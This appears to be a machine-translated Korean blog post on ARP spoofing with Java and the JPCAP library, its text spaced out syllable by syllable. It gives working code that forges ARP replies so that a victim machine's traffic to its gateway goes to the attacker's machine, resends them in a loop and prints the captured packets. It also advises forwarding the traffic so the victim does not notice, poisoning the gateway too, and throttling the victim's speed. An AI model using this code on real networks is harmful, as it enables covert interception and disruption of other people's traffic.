JAVA ARP 사기 패키지 수정

14447 단어 자바
ARP(Address Resolution Protocol)는 주소 해석 프로 토 콜 과 함께 IP 와 MAC 주소 해석 을 위 한 것 이 주 된 목적 입 니 다.IP 는 네트워크 계층 프로 토 콜 이 고 MAC 는 데이터 링크 계층 에 의 해 사용 된다.네트워크 의 두 노드 가 통신 을 하려 면 먼저 송신 단 은 소스 와 목적지 의 MAC 주 소 를 알 아야 하고 네트워크 층 은 IP 주 소 를 사용 하기 때문에 MAC 주 소 를 얻 으 려 면 IP 주 소 를 통 해 해당 하 는 MAC 주 소 를 가 져 와 야 한다.그러면 ARP 프로 토 콜 을 사용 하여 IP 주 소 를 MAC 주소 로 전환 하 는 동시에 목적지 의 MAC 주 소 를 신속하게 찾 을 수 있 도록 해 야 한다.노드 마다 ARP 캐 시가 있 습 니 다.잘 전 환 된 MAC 주 소 를 저장 하 는 데 사 용 됩 니 다.콘 솔 에서 arp–a 명령 을 사용 하여 arp 캐 시 표를 볼 수 있 습 니 다.
      ARP 의 구체 적 인 과정 은 IP 를 통 해 원 격 MAC 주 소 를 가 져 와 야 할 때 시스템 이 먼저 ARP 표 에 해당 하 는 IP 주소 가 있 는 지 확인 하고 없 으 면 ARP 방송 을 보 내 는 것 이다.이 MAC 주 소 를 가 진 노드 가 ARP 요청 을 받 을 때 ARP reply 패 키 지 를 만 들 고 ARP 요청 의 소스 노드 로 보 내 는 것 이다.ARP Reply 패키지 에는 목적지 노드 의 MAC 주소 가 포함 되 어 있 습 니 다.원본 노드 에서 이 reply 를 받 아들 이면 목적지 노드 의 MAC 주 소 를 ARP 캐 시 시트 에 저장 하고 다음 에 같은 IP 주 소 를 다시 요청 할 때 시스템 은 ARP 표 에서 목적지 MAC 주 소 를 직접 가 져 옵 니 다.ARP 방송 을 다시 보 내지 않 아 도 됩 니 다.
      이 를 보고 ARP 의 구체 적 인 과정 을 대략적으로 설명 하 였 으 니 명확 하 게 설명해 주시 기 바 랍 니 다.마음 이 있 는 친 구 는 ARP 사기 의 원 리 를 고려 하기 시 작 했 을 것 이 라 고 믿 습 니 다.사실은 ARP 표를 이용 하여 ARP 사 기 를 하 는 것 입 니 다.예 를 들 어 랜 내 기계 A 는 게 이 트 웨 이 B 를 통 해 인터넷 연결 을 하고 그의 arp 표 에는 게 이 트 웨 이 B 의 IP 와 MAC 주소 가 저장 되 어 있 습 니 다.다음 과 같 습 니 다.
192.168.1.1    —>    MAC 1(그렇게 길 게 쓰기 귀찮아 서 MAC 1 을 MAC 주소 로 했 습 니 다)
그러면 A 가 인터넷 에 접속 하고 싶 을 때 그의 모든 데 이 터 는 게 이 트 웨 이에 먼저 보 내 고 게 이 트 웨 이에 서 전송 된다.그러면 A 의 데 이 터 는 먼저 192.168.1.1 을 통 해 게 이 트 웨 이의 MAC 주소 MAC 1 을 찾 은 다음 에 데 이 터 를 게 이 트 웨 이에 보 낼 수 있다.이때 당신 의 기 계 는 C 입 니 다.MAC 주 소 는 MAC 2 입 니 다.ARP 사 기 를 통 해 A 가 전송 하 는 데 이 터 를 얻 으 려 면 당신 이 해 야 할 일 은 간단 합 니 다.바로 기계 A 의 ARP 표 에서 192.168.1.1 에 대응 하 는 MAC 주소 MAC 1 을 MAC 2 로 바 꾸 면 됩 니 다.이 기계 A 는 192.168.1.1 에 보 낸 모든 데 이 터 를 MAC 주소 가 MAC 2 인 기계,즉 당신 의 기계 에 보 냅 니 다.
APR 표 의 기록 을 바 꾸 려 면 ARP reply 가방 을 기계 A 에 보 내 는 방법 이 있 습 니 다.이 ARP reply 가방 의 소스 IP 는 192.168.1.1 이 고 MAC 주 소 는 MAC 2 입 니 다.기계 A 가 받 아들 이면 이 소스 IP 와 MAC 를 ARP 캐 시 시트 에 새로 고침 하여 원래 의 기록 을 덮어 쓰 면 ARP 사기 의 목적 을 달성 할 수 있 습 니 다.
여기까지 만 말씀 드 리 면 ARP 사기 에 대해 서 아 시 는 지 모 르 겠 습 니 다.더 이상 모 르 면 인터넷 으로 찾 아 보 세 요.인터넷 에는 관련 자료 가 많 습 니 다.자,원리 가 끝나 면 이 루어 질 차례 입 니 다.JAVA 를 통 해 ARP 사 기 를 어떻게 실현 할 수 있 습 니까?
처음부터 끝까지 하 는 건 물론 제 스타일 이 아 닙 니 다.JAVA 커 뮤 니 티 만큼 거대 합 니 다.우리 가 잘 이용 해 야 합 니 다.거인 의 어깨 위 에 서서 성공 해 야 합 니 다.하하.오픈 소스 프로젝트 JPCAP 가 있 습 니 다.이 프로젝트 는 중간 인 터 페 이 스 를 제공 하여 사용자 가 wincap/libpcap 와 같은 라 이브 러 리 를 호출 하여 네트워크 전송 을 제어 할 수 있 도록 합 니 다.구체 적 으로 공식 사이트 에서 문 서 를 볼 수 있 습 니 다.
여기 서 저 는 간단 한 패키지 캡 처 프로그램 을 실 현 했 습 니 다.ARP 사기 원리 에 따라 우리 가 해 야 할 일 은 다음 과 같 습 니 다.
1.ARP Reply 패키지 구축
2.이 가방 을 사기 가 필요 한 기계 에 보 냅 니 다.

public   class  LocalListener {  
  
  
    private   final   static  String GATE_IP =  "192.168.11.1" ;  
  private   final   static   byte [] GATE_MAC = { 0x00 ,  0x0a , ( byte )  0xc5 ,   
0x42 ,  0x6e , ( byte )  0x9a };  
    private  JpcapCaptor jpcap; //         
    private  JpcapSender sender;   //          
    private  Packet replyPacket; //ARP reply    
    private  NetworkInterface device; //           
    private  IpMacMap targetIpMacMap; //   IP MAC    
  
  
    public  LocalListener(IpMacMap target)  throws  Exception {  
        NetworkInterface[] devices =JpcapCaptor.getDeviceList();                
        device = devices[1 ];  
        this .targetIpMacMap = target;  
        initSender();  
        initPacket();  
    }  
  
  
    private   void  initSender()  throws  Exception {  
        jpcap = JpcapCaptor.openDevice(device, 2000 ,  false ,  10000 );     //           
        jpcap.setFilter("ip" ,  true );                                 //   ip      
        sender = jpcap.getJpcapSenderInstance();  
    }  
  
  
    private   void  initPacket()  throws  Exception {  
        //reply   IP MAC  , IP-MAC       ARP    
        IpMacMap targetsSd = new  IpMacMap(GATE_IP, device.mac_address);   
        //        ARP     
        replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);  
        //        ,    reply    
        replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),  
                device.mac_address);  
    }  
  
  
    public   void  listen()  throws  InterruptedException{  
        Thread t = new  Thread( new  Runnable() {  
            public   void  run() {  
              //  reply  ,     arp , arp           ,           
                while ( true ){  
                    send();   
                    try  {  
                        Thread.sleep(500 );  
                    } catch  (InterruptedException ex) {  
                        Logger.getLogger(LocalListener.class .getName()).log(Level.SEVERE,  null , ex);  
                    }  
                }  
            }  
        });  
        t.start();  
        //                  
        while ( true ){  
            IPPacket ipPacket = (IPPacket)jpcap.getPacket();  
            System.out.println(ipPacket);  
        }  
    }}  
  
  
  
  
  
//IP-MAC  ,       IP-MAC     
public   class  IpMacMap {  
    private  String ip;  
    private   byte [] mac;  
  
  
    public  IpMacMap(){  
    }  
     
    public  IpMacMap(String ip,  byte [] mac){  
        this .ip = ip;  
        this .mac = mac;  
    }  
     
    public  String getIp() {  
        return  ip;  
    }  
  
  
    public   void  setIp(String ip) {  
        this .ip = ip;  
    }  
  
  
    public   byte [] getMac() {  
        return  mac;  
    }  
  
  
    public   void  setMac( byte [] mac) {  
        this .mac = mac;  
    }   
     
}  
  
  
//ARP reply    ,              reply    
public   class  ARPPacketGern{  
  
  
    public   static  ARPPacket genPacket(IpMacMap target, IpMacMap sender)  throws  Exception{  
        ARPPacket arpTarget = new  ARPPacket();  
        arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;  //       (Ethernet)   
        arpTarget.prototype = ARPPacket.PROTOTYPE_IP;        //  IP         
        arpTarget.operation = ARPPacket.ARP_REPLY;              //  REPLY     
        arpTarget.hlen = 6 ;                               //MAC      6      
        arpTarget.plen = 4 ;                               //IP      4      
        arpTarget.target_hardaddr = target.getMac();  
        arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();  
        arpTarget.sender_hardaddr = sender.getMac();  
        arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();  
        return  arpTarget;  
    }  
}  
  
  
//     MAC  MAC        ,         
public   class  EthernetPacketGern{  
    public   static  EthernetPacket genPacket( byte [] targetMac,  byte [] senderMac)  throws  Exception {  
        EthernetPacket ethToTarget = new  EthernetPacket();           //           
        ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;  //          
        ethToTarget.dst_mac = targetMac;  
        ethToTarget.src_mac = senderMac;         
        return  ethToTarget;  
    }  
}  

public class LocalListener {  
  
  
    private final static String GATE_IP = "192.168.11.1";  
  private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5,   
0x42, 0x6e, (byte) 0x9a};  
    private JpcapCaptor jpcap;//        
    private JpcapSender sender;  //         
    private Packet replyPacket;//ARP reply   
    private NetworkInterface device;//          
    private IpMacMap targetIpMacMap;//   IP MAC   
  
  
    public LocalListener(IpMacMap target) throws Exception {  
        NetworkInterface[] devices =JpcapCaptor.getDeviceList();                
        device = devices[1];  
        this.targetIpMacMap = target;  
        initSender();  
        initPacket();  
    }  
  
  
    private void initSender() throws Exception {  
        jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000);    //          
        jpcap.setFilter("ip", true);                                //   ip     
        sender = jpcap.getJpcapSenderInstance();  
    }  
  
  
    private void initPacket() throws Exception {  
        //reply   IP MAC  , IP-MAC       ARP   
        IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);   
        //        ARP    
        replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);  
        //        ,    reply   
        replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),  
                device.mac_address);  
    }  
  
  
    public void listen() throws InterruptedException{  
        Thread t = new Thread(new Runnable() {  
            public void run() {  
              //  reply  ,     arp , arp           ,          
                while(true){  
                    send();   
                    try {  
                        Thread.sleep(500);  
                    } catch (InterruptedException ex) {  
                        Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex);  
                    }  
                }  
            }  
        });  
        t.start();  
        //                 
        while(true){  
            IPPacket ipPacket = (IPPacket)jpcap.getPacket();  
            System.out.println(ipPacket);  
        }  
    }}  
  
  
  
  
  
//IP-MAC  ,       IP-MAC    
public class IpMacMap {  
    private String ip;  
    private byte[] mac;  
  
  
    public IpMacMap(){  
    }  
     
    public IpMacMap(String ip, byte[] mac){  
        this.ip = ip;  
        this.mac = mac;  
    }  
     
    public String getIp() {  
        return ip;  
    }  
  
  
    public void setIp(String ip) {  
        this.ip = ip;  
    }  
  
  
    public byte[] getMac() {  
        return mac;  
    }  
  
  
    public void setMac(byte[] mac) {  
        this.mac = mac;  
    }   
     
}  
  
  
//ARP reply    ,              reply   
public class ARPPacketGern{  
  
  
    public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{  
        ARPPacket arpTarget = new ARPPacket();  
        arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER;  //       (Ethernet)  
        arpTarget.prototype = ARPPacket.PROTOTYPE_IP;        //  IP        
        arpTarget.operation = ARPPacket.ARP_REPLY;              //  REPLY    
        arpTarget.hlen = 6;                              //MAC      6     
        arpTarget.plen = 4;                              //IP      4     
        arpTarget.target_hardaddr = target.getMac();  
        arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();  
        arpTarget.sender_hardaddr = sender.getMac();  
        arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();  
        return arpTarget;  
    }  
}  
  
  
//     MAC  MAC        ,        
public class EthernetPacketGern{  
    public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception {  
        EthernetPacket ethToTarget = new EthernetPacket();          //          
        ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;  //         
        ethToTarget.dst_mac = targetMac;  
        ethToTarget.src_mac = senderMac;         
        return ethToTarget;  
    }  
}  

예 를 들 어 상기 코드 는 IP 192.168.11.4 로 보 내 는 기 계 를 만 드 는 ARP reply 패 키 지 를 실현 했다.그 중에서 reply 패키지 의 소스 IP 는 192.168.11.1 이 고 소스 MAC 는 현재 기계 의 MAC 주소 로 바 뀌 었 다.device.macaddress,이렇게 하면 192.168.11.4 의 기계 가 이 reply 패 키 지 를 받 으 면 ARP 표를 새로 고치 고 192.168.11.1 로 보 내 는 모든 데 이 터 는 현재 프로그램 을 실행 하고 있 는 기계 에 실제 보 냅 니 다.프로그램 에서 reply 패 키 지 를 순환 적 으로 보 내 는 스 레 드 를 만 들 었 습 니 다.주로 ARP 표 가 일정 시간 에 업데이트 되 기 때문에 끊임없이 보 내야 MAC 주소 가 항상 바 뀌 는 것 을 보장 할 수 있 습 니 다.또한 메 인 스 레 드 는 현재 장치 의 모든 IP 패 킷 정 보 를 감청 하고 인쇄 하 는 데 사 용 됩 니 다.원래 이 방법 은 본 컴퓨터 패 킷 의 정보 만 감청 할 수 있 지만 ARP 사 기 를 사 용 했 기 때문에 192.168.11.4 에서 192.168.11.1 로 데 이 터 를 보 낼 때 패 킷 을 캡 처 하고 다음 과 같은 정 보 를 볼 수 있 습 니 다.
1216798614:885583 /192.168.11.4->/61.135.189.33 protocol(6) priority(0) hop(128) offset(0) ident(34922) TCP 1337 > 8016 seq(1062321893) win(65535) S
    사실 상례 프로그램 은 192.168.11.4 의 데이터 패 키 지 를 캡 처 하고 감청 할 수 있 지만 실제로 실행 되면 192.168.11.4 의 기계 가 인터넷 에 접속 하지 못 할 것 이다(이 기계 가 192.168.11.1 을 게 이 트 웨 이 로 인터넷 에 접속 한다 고 가정 하면).이것 은 무엇 일 까?
    이것 은 바로 이 기계 가 192.168.11.4 의 패 키 지 를 캡 처 했 지만 패 키 지 를 전달 하지 않 았 기 때문에 실제 패 키 지 는 당신 의 기계 에 도착 한 후에 중단 되 어 패 키 지 를 보 낼 수 없습니다.상대방 의 기 계 를 감청 하려 면 당연히 상대방 에 게 알려 서 는 안 됩 니 다.만약 에 당신 이 그 기 계 를 감청 하면 상대방 이 인터넷 에 접속 할 수 없 게 되 고 바보 도 문제 가 있다 는 것 을 알 기 때문에 상기 절 차 는 보충 을 해 야 합 니 다.그것 은 바로 패키지 데 이 터 를 192.168.11.1 로 전송 하 는 것 입 니 다.캡 처 한 가방 을 다시 보 내 면 됩 니 다.구체 적 으로 어떻게 하 는 지 는 여러분 에 게 남 겨 두 는 것 입 니 다.졸 려 요.쉬 었 어 요.친구 가 관심 이 있 고 어떻게 해 야 할 지 생각 이 안 나 면 저 에 게 말씀 해 주세요.필요 하 다 면 다음 에 온전한 예 를 붙 여 주세요.
    참,마지막 으로 보충 할 점 이 있 습 니 다.그것 은 바로 우리 가 똑 같은 방식 으로 게 이 트 웨 이 를 갱신 할 수 있 는 ARP 입 니 다.그러면 게 이 트 웨 이 가 받 은 데이터 도 이 컴퓨터 에 의 해 캡 처 되 고 똑 같이 이 기 계 를 통 해 목적 기계 로 전송 하면 됩 니 다.이렇게 하면 상대방 이 정상적으로 인터넷 에 접속 할 수 있 을 뿐만 아니 라 우 리 는 상대방 의 데이터 패 키 지 를 캡 처 할 수 있다.만약 에 속 도 를 제한 하려 면 패 키 지 를 캡 처 하 는 동시에 일정한 시간 을 연장 하 는 것 이다.예 를 들 어 1 초 에 몇 개의 K 데이터 만 통과 할 수 있 고 여기 서 손발 을 할 수 있다.똑 같이 구체 적 으로 어떻게 여러분 에 게 남 겨 야 할 지 알려 주세요.

좋은 웹페이지 즐겨찾기